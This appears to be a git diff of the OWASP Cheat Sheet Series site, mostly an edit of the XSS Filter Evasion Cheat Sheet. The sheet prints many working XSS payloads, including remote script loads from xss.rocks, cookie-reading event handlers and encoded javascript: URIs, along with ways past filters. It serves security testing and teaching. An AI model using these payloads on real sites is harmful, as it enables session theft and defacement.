clarification2024-02-18T22:37:30+00:002024-02-18T22:37:30+00:00https://github.com/OWASP/CheatSheetSeries/pull/1332Added caveat about customer request header approach and its use in login csrf mitigation2024-02-19T17:40:45+00:002024-02-19T17:40:45+00:00https://github.com/OWASP/CheatSheetSeries/pull/1335Fixed typos2024-02-22T13:57:41+00:002024-02-22T13:57:41+00:00https://github.com/OWASP/CheatSheetSeries/pull/1341Links, typos, uniformity2024-02-24T16:45:14+00:002024-02-24T16:45:14+00:00https://github.com/OWASP/CheatSheetSeries/pull/1342Update Clickjacking_Defense_Cheat_Sheet.md2024-02-24T16:44:09+00:002024-02-24T16:44:09+00:00 \ No newline at end of file diff --git a/README.md b/README.md index 69e500a994..5885ec48bb 100644 --- a/README.md +++ b/README.md @@ -1 +1 @@ -Website last update: 2024-02-24 at 16:47:12. +Website last update: 2024-02-24 at 16:48:29. diff --git a/bundle.zip b/bundle.zip index 893bb44d57..6d7420408b 100644 Binary files a/bundle.zip and b/bundle.zip differ diff --git a/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html b/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html index aeb3b70070..2aea6545b5 100644 --- a/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html +++ b/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html @@ -2350,11 +2350,11 @@
  • - - Embedded Newline to Break Up XSS with Examples + + Embedded Newline to Break Up XSS -
  • - -
  • - - STYLE Tag (Older versions of Netscape only) - -
  • @@ -2730,8 +2702,8 @@
  • - - DIV Background-image with Unicoded XSS Exploit + + DIV Background-image with Unicode XSS Exploit
  • @@ -2774,13 +2746,6 @@ OBJECT Tag - - -
  • - - EMBED a Flash Movie That Contains XSS - -
  • @@ -2788,13 +2753,6 @@ EMBED SVG Which Contains XSS Vector -
  • - -
  • - - Using ActionScript Inside Flash for Obfuscation - -
  • @@ -2864,13 +2822,6 @@ Cookie Manipulation -
  • - -
  • - - UTF-7 Encoding - -
  • @@ -2942,27 +2893,6 @@ Protocol Resolution Bypass -
  • - -
  • - - Google "feeling lucky" part 1 - - -
  • - -
  • - - Google "feeling lucky" part 2 - - -
  • - -
  • - - Google "feeling lucky" part 3 - -
  • @@ -3295,11 +3225,11 @@
  • - - Embedded Newline to Break Up XSS with Examples + + Embedded Newline to Break Up XSS -
  • - -
  • - - STYLE Tag (Older versions of Netscape only) - -
  • @@ -3675,8 +3577,8 @@
  • - - DIV Background-image with Unicoded XSS Exploit + + DIV Background-image with Unicode XSS Exploit
  • @@ -3719,13 +3621,6 @@ OBJECT Tag - - -
  • - - EMBED a Flash Movie That Contains XSS - -
  • @@ -3733,13 +3628,6 @@ EMBED SVG Which Contains XSS Vector -
  • - -
  • - - Using ActionScript Inside Flash for Obfuscation - -
  • @@ -3809,13 +3697,6 @@ Cookie Manipulation -
  • - -
  • - - UTF-7 Encoding - -
  • @@ -3887,27 +3768,6 @@ Protocol Resolution Bypass -
  • - -
  • - - Google "feeling lucky" part 1 - - -
  • - -
  • - - Google "feeling lucky" part 2 - - -
  • - -
  • - - Google "feeling lucky" part 3 - -
  • @@ -4077,135 +3937,164 @@

    XSS Filter Evasion Cheat Sheet

    Introduction

    -

    This article is a guide to Cross Site Scripting (XSS) testing for application security professionals. This cheat sheet was originally based on RSnake's seminal XSS Cheat Sheet, which was originally at: http://ha.ckers.org/xss.html. Now, the OWASP Cheat Sheer provides users wiht an updated and maintained version of the document. Since the very first OWASP Cheat Sheet, the Cross Site Scripting Prevention Cheat Sheet, was inspired by RSnake's work, so we thank RSnake for the inspiration!

    +

    This article is a guide to Cross Site Scripting (XSS) testing for application security professionals. This cheat sheet was originally based on RSnake's seminal XSS Cheat Sheet previously at: http://ha.ckers.org/xss.html. Now, the OWASP Cheat Sheet Series provides users with an updated and maintained version of the document. The very first OWASP Cheat Sheet, Cross Site Scripting Prevention, was inspired by RSnake's work and we thank RSnake for the inspiration!

    Tests

    This cheat sheet demonstrates that input filtering is an incomplete defense for XSS by supplying testers with a series of XSS attacks that can bypass certain XSS defensive filters.

    Basic XSS Test Without Filter Evasion

    This attack, which uses normal XSS JavaScript injection, serves as a baseline for the cheat sheet (the quotes are not required in any modern browser so they are omitted here):

    -

    <SCRIPT SRC=https://cdn.jsdelivr.net/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>

    +
    <SCRIPT SRC=https://cdn.jsdelivr.net/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>
    +

    XSS Locator (Polyglot)

    -

    This test delivers a "polyglot test XSS payload." that execute in multiple contexts including html, script string, js and URL.

    -
    javascript:/*--></title></style></textarea></script></xmp>
    -<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
    +

    This test delivers a 'polyglot test XSS payload' that executes in multiple contexts, including HTML, script strings, JavaScript, and URLs:

    +
    javascript:/*--></title></style></textarea></script></xmp>
    +<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
     

    (Based on this tweet by Gareth Heyes).

    Malformed A Tags

    -

    This test skip the HREF attribute so you can get to the meat of the XSS:

    -

    \<a onmouseover="alert(document.cookie)"\>xxs link\</a\>

    -

    Also, Chrome loves to replace missing quotes for you. if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

    -

    \<a onmouseover=alert(document.cookie)\>xxs link\</a\>

    -

    (Submitted by David Cross \~ Verified on Chrome)

    +

    This test skips the [href](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#href) attribute to demonstrate an XSS attack using event handlers:

    +
    \<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
    +
    +

    Chrome automatically inserts missing quotes for you. If you encounter issues, try omitting them and Chrome will correctly place the missing quotes in URLs or scripts for you:

    +
    \<a onmouseover=alert(document.cookie)\>xxs link\</a\>
    +
    +

    (Submitted by David Cross, Verified on Chrome)

    Malformed IMG Tags

    -

    This XSS vector uses the relaxed rendering engine to create an XSS vector within an IMG tag (which needs be encapsulated within quotes). We believe that this approach was originally meant to correct sloppy coding and it would also make it significantly more difficult to correctly parse apart an HTML tags:

    -

    <IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>

    +

    This XSS method uses the relaxed rendering engine to create an XSS vector within an IMG tag (which needs to be encapsulated within quotes). We believe this approach was originally meant to correct sloppy coding and it would also make it significantly more difficult to correctly parse HTML tags:

    +
    <IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
    +

    (Originally found by Begeek, but it was cleaned up and shortened to work in all browsers)

    fromCharCode

    If the system does not allow quotes of any kind, you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

    -

    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

    +
    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
    +

    Default SRC Tag to Get Past Filters that Check SRC Domain

    -

    This attack will bypass most SRC domain filters. If you insert JavaScript in an event method, it will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc, and this attack will also allow any relevant event for the tag type to be substituted like onblur, onclick. As you ssee this approach allows you to generate many different variations for many injections listed here.

    -

    Edited by Abdullah Hussam(@Abdulahhusam).

    -

    <IMG SRC=# onmouseover="alert('xxs')">

    -

    (Submitted by David Cross.)

    +

    This attack will bypass most SRC domain filters. Inserting JavaScript in an event handler also applies to any HTML tag type injection using elements like Form, Iframe, Input, Embed, etc. This also allows the substitution of any relevant event for the tag type, such as onblur or onclick, providing extensive variations of the injections listed here:

    +
    <IMG SRC=# onmouseover="alert('xxs')">
    +
    +

    (Submitted by David Cross and edited by Abdullah Hussam)

    Default SRC Tag by Leaving it Empty

    -

    <IMG SRC= onmouseover="alert('xxs')">

    +
    <IMG SRC= onmouseover="alert('xxs')">
    +

    Default SRC Tag by Leaving it out Entirely

    -

    <IMG onmouseover="alert('xxs')">

    +
    <IMG onmouseover="alert('xxs')">
    +

    On Error Alert

    -

    <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

    +
    <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
    +

    IMG onerror and JavaScript Alert Encode

    -

    <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

    +
    <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
    +

    Decimal HTML Character References

    -

    Since the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode, this attack will work for Firefox or Netscape 8.1+:

    -

    <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

    +

    Since XSS examples that use a javascript: directive inside an <IMG tag do not work on Firefox this approach uses decimal HTML character references as a workaround:

    +
    <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
    +

    Decimal HTML Character References Without Trailing Semicolons

    -

    This is often effective in bypassing XSS filters that look for the string "&#XX;", since most people don't know about padding - which can be used up to 7 numeric characters total. This is also useful against filters that decode against strings like $tmp_string =\~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a HTML encoded string (This has been seen in the wild):

    -

    <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

    +

    This is often effective in bypassing XSS filters that look for the string &\#XX;, since most people don't know about padding - which can be used up to 7 numeric characters total. This is also useful against filters that decode against strings like $tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/; which incorrectly assumes a semicolon is required to terminate a HTML encoded string (This has been seen in the wild):

    +
    <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
    +

    Hexadecimal HTML Character References Without Trailing Semicolons

    -

    This attack is also viable against the filter for the string "$tmp_string=\~ s/.*\&#(\d+);.*/$1/;", because it assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).

    -

    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

    +

    This attack is also viable against the filter for the string $tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;, because it assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters:

    +
    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
    +

    Embedded Tab

    -

    This approach breaks up the cross site scripting attack:

    +

    This approach breaks up the XSS attack:

    -

    <IMG SRC="jav ascript:alert('XSS');">

    +
    <IMG SRC="jav   ascript:alert('XSS');">
    +

    Embedded Encoded Tab

    This approach can also break up XSS:

    -

    <IMG SRC="jav&#x09;ascript:alert('XSS');">

    -

    Embedded Newline to Break Up XSS with Examples

    -

    While some defenders claim that any of the chars 09-13 (decimal) will work for this attack, this is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Examine the ASCII chart for more details. The next four XSS attack examples illustrate this vector:

    -

    <IMG SRC="jav&#x0A;ascript:alert('XSS');">

    +
    <IMG SRC="jav&#x09;ascript:alert('XSS');">
    +
    +

    Embedded Newline to Break Up XSS

    +

    While some defenders claim that any of the chars 09-13 (decimal) will work for this attack, this is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Examine the ASCII table for reference. The next four XSS attack examples illustrate this vector:

    +
    <IMG SRC="jav&#x0A;ascript:alert('XSS');">
    +

    Example 1: Break Up XSS Attack with Embedded Carriage Return

    (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

    -

    <IMG SRC="jav&#x0D;ascript:alert('XSS');">

    +
    <IMG SRC="jav&#x0D;ascript:alert('XSS');">
    +

    Example 2: Break Up JavaScript Directive with Null

    -

    Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

    -

    perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

    +

    Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. The null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

    +
    perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
    +

    Example 3: Spaces and Meta Chars Before the JavaScript in Images for XSS

    This is useful if a filter's pattern match doesn't take into account spaces in the word javascript:, which is correct since that won't render, but makes the false assumption that you can't have a space between the quote and the javascript: keyword. The actual reality is you can have any char from 1-32 in decimal:

    -

    <IMG SRC=" &#14; javascript:alert('XSS');">

    +
    <IMG SRC=" &#14;  javascript:alert('XSS');">
    +

    Example 4: Non-alpha-non-digit XSS

    The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example \<SCRIPT\\s != \<SCRIPT/XSS\\s:

    -

    <SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

    -

    Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

    -
    <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
    +
    <SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
    +
    +

    Based on the same idea as above, however, expanded on it, using Rsnake's fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

    +
    <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
    +
    +

    Yair Amit noted that there is a slightly different behavior between the Trident (IE) and Gecko (Firefox) rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful in a attack if the system does not allow spaces:

    +
    <SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
     
    -

    Yair Amit noted that there is a slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful in a attack if the system does not allow spaces.

    -

    <SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>

    Extraneous Open Brackets

    -

    This XSS vector could defeat certain detection engines that work by checking matching pairs of open and close angle brackets then comparing of the tag inside, instead of a more efficient algorithm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error:

    -

    <<SCRIPT>alert("XSS");//\<</SCRIPT>

    +

    This XSS vector could defeat certain detection engines that work by checking matching pairs of open and close angle brackets then comparing the tag inside, instead of a more efficient algorithm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error:

    +
    <<SCRIPT>alert("XSS");//\<</SCRIPT>
    +

    (Submitted by Franz Sedlmaier)

    No Closing Script Tags

    -

    In the Gecko rendering engine mode for Firefox and Netscape 8.1, you don't actually need the \></SCRIPT> portion of this XSS vector, because Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next attack, which doesn't effect Firefox, this method does not require any additional HTML below it. You can add quotes if you need to, but they're normally not needed (although beware, I have no idea what the HTML will end up looking like once this is injected):

    -

    <SCRIPT SRC=http://xss.rocks/xss.js?< B >

    +

    With Firefox, you don't actually need the \></SCRIPT> portion of this XSS vector, because Firefox assumes it's safe to close the HTML tag and adds closing tags for you. Unlike the next attack, which doesn't affect Firefox, this method does not require any additional HTML below it. You can add quotes if you need to, but they're normally not needed:

    +
    <SCRIPT SRC=http://xss.rocks/xss.js?< B >
    +

    Protocol Resolution in Script Tags

    -

    This particular variant is partiallybased on Ozh's protocol resolution bypass below, and it works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

    -

    <SCRIPT SRC=//xss.rocks/.j>

    +

    This particular variant is partially based on Ozh's protocol resolution bypass below, and it works in IE and Edge in compatibility mode. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The .j is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag:

    +
    <SCRIPT SRC=//xss.rocks/.j>
    +

    (Submitted by Łukasz Pilorz)

    Half Open HTML/JavaScript XSS Vector

    -

    Unlike Firefox, the IE rendering engine doesn't add extra data to you page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

    -

    <IMG SRC="('XSS')"

    -

    Double Open Angle Brackets

    -

    Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

    -

    <iframe src=http://xss.rocks/scriptlet.html <

    +

    Unlike Firefox, the IE rendering engine (Trident) doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this XSS vector. Even though there is no close \> tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following network intrusion detection system (NIDS) regex: /((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/ because it doesn't require the end \>. As a side note, this was also affective against a real world XSS filter using an open ended <IFRAME tag instead of an <IMG tag.

    +
    <IMG SRC="`<javascript:alert>`('XSS')"
    +

    Escaping JavaScript Escapes

    -

    If an application is written to output some user information inside of a JavaScript (like the following: <SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT>) and you want to inject your own JavaScript into it but the server side application escapes certain quotes, you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT> which en,ds up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

    -

    \";alert('XSS');//

    +

    If an application is written to output some user information inside of a JavaScript (like the following: <SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT>) and you want to inject your own JavaScript into it but the server side application escapes certain quotes, you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the XSS vector to fire. The XSS locator uses this method:

    +
    \";alert('XSS');//
    +

    An alternative, if correct JSON or JavaScript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

    -

    </script><script>alert('XSS');</script>

    +
    </script><script>alert('XSS');</script>
    +

    End Title Tag

    This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

    -

    </TITLE><SCRIPT>alert("XSS");</SCRIPT>

    +
    </TITLE><SCRIPT>alert("XSS");</SCRIPT>
    +

    INPUT Image

    -

    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

    +
    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    +

    BODY Image

    -

    <BODY BACKGROUND="javascript:alert('XSS')">

    +
    <BODY BACKGROUND="javascript:alert('XSS')">
    +

    IMG Dynsrc

    -

    <IMG DYNSRC="javascript:alert('XSS')">

    +
    <IMG DYNSRC="javascript:alert('XSS')">
    +

    IMG Lowsrc

    -

    <IMG LOWSRC="javascript:alert('XSS')">

    +
    <IMG LOWSRC="javascript:alert('XSS')">
    +

    List-style-image

    -

    This esoteric attack that focuses on embedding images for bulleted lists. It will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful XSS vector:

    -

    <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

    +

    This esoteric attack focuses on embedding images for bulleted lists. It will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful XSS vector:

    +
    <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
    +

    VBscript in an Image

    -

    <IMG SRC='vbscript:msgbox("XSS")'>

    -

    Livescript (older versions of Netscape only)

    -

    <IMG SRC="livescript:[code]">

    +
    <IMG SRC='vbscript:msgbox("XSS")'>
    +

    SVG Object Tag

    -

    <svg/onload=alert('XSS')>

    +
    <svg/onload=alert('XSS')>
    +

    ECMAScript 6

    -
    Set.constructor`alert\x28document.domain\x29
    +
    Set.constructor`alert\x28document.domain\x29
     

    BODY Tag

    -

    This attack doesn't require using any variants of javascript: or <SCRIPT... to accomplish the XSS attack). Dan Crowley has noted that you can put a space before the equals sign (onload= != onload =):

    -

    <BODY ONLOAD=alert('XSS')>

    +

    This attack doesn't require using any variants of javascript: or <SCRIPT... to accomplish the XSS attack. Dan Crowley has noted that you can put a space before the equals sign (onload= != onload =):

    +
    <BODY ONLOAD=alert('XSS')>
    +

    Attacks Using Event Handlers

    The attack with the BODY tag can be modified for use in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.

    The Dottoro Web Reference also has a nice list of events in JavaScript.

    -
      -
    1. FSCommand() (attacker can use this when executed from within an embedded Flash object)
    2. +